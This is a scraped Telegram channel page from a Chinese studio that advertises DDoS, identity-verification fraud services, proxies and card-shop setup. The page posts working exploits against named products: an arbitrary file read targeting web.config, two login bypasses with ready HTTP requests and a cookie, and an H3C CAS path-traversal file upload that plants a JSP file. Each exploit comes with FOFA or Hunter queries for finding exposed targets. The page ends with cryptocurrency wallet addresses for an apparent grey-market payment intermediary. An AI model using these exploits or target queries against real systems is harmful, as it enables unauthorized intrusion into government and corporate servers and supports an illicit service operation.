青山工作室 (全球静态ip 软路由搭建 代理定制 代付 代实名 国内外服务器 DDOS 靓号地址定制 发卡搭建 代开会员)
Open in Telegram
999
Subscribers
No data24 hours
-107 days
-5230 days
Posts Archive
智某平台任意文件读取漏洞
fofa:body="custom/blue/uimaker/easyui.css"
127.0.0.1/ExpDownloadService.aspx?DownfilePath=/web.config
某客服系统后台登录绕过漏洞
fofa:body="layui-form-item" && body="/admin/login/check.html"
GET /admin/custom/index.html HTTP/1.1 Host: 127.0.0.1 Cookie: service_token=OuwfoovK%2BIdd
智慧政务登录绕过漏洞
fofa:body="assets/8cca19ff/css/bootstrap-yii.css"
POST /portal/default/login HTTP/1.1 Host: 127.0.0.1 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Priority: u=0, i Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Accept-Ldwk: bG91ZG9uZ3dlbmt1 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 userID=admin&flag=rone拿到返回包中的set-cookie后访问127.0.0.1 带上cookie即可绕过
H3C 任意文件上传漏洞
hunter:app.name="H3C CAS 云服务"
POST /cas/fileUpload/fd HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=a4d7586ac9d50625dee11e86fa69bc71
Content-Length: 217
--a4d7586ac9d50625dee11e86fa69bc71
Content-Disposition: form-data; name="token"
/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/stc11.jsp
--a4d7586ac9d50625dee11e86fa69bc71
Content-Disposition: form-data; name="file"; filename="ldfxxxxxxxx.jsp"
Content-Type: image/png
<% out.println("@ldfxxxxxxxx");%>
--a4d7586ac9d50625dee11e86fa69bc71--法国使用严厉新法针对电报创始人杜罗夫
当法国检察官将目标对准电报创始人帕维尔·杜罗夫时,他们手中握有一张王牌。一项国际上尚无对应法规的严厉新法律,将那些平台允许非法产品或活动的科技巨头定为犯罪。法国于2023年1月颁布的这项新法名为 LOPMI 法律,使法国成为对犯罪网站采取更严厉措施的国家之一。但由于该法律的颁布时间不长,因此尚未有人在这条法律下被定罪。由于该法律尚未经过法庭检验,如果法国法官不愿因科技公司老板在其平台上涉嫌犯罪而对其进行惩罚,那么法国率先起诉杜罗夫这样的人物的努力可能会适得其反。
—— 路透社
汇旺外部中介地址暂时调整为如下:
一二组:TX36yCZeaZjoqJ3uDn8HwWaXW5RyxVVter
三四组:TVf2oWgLPUSY4qp4W5Ln2y1NvkW7pr68NH
五六组:TYQLZV9qZSUmY9ZVuMiTSgRmsyvaHqZfNe
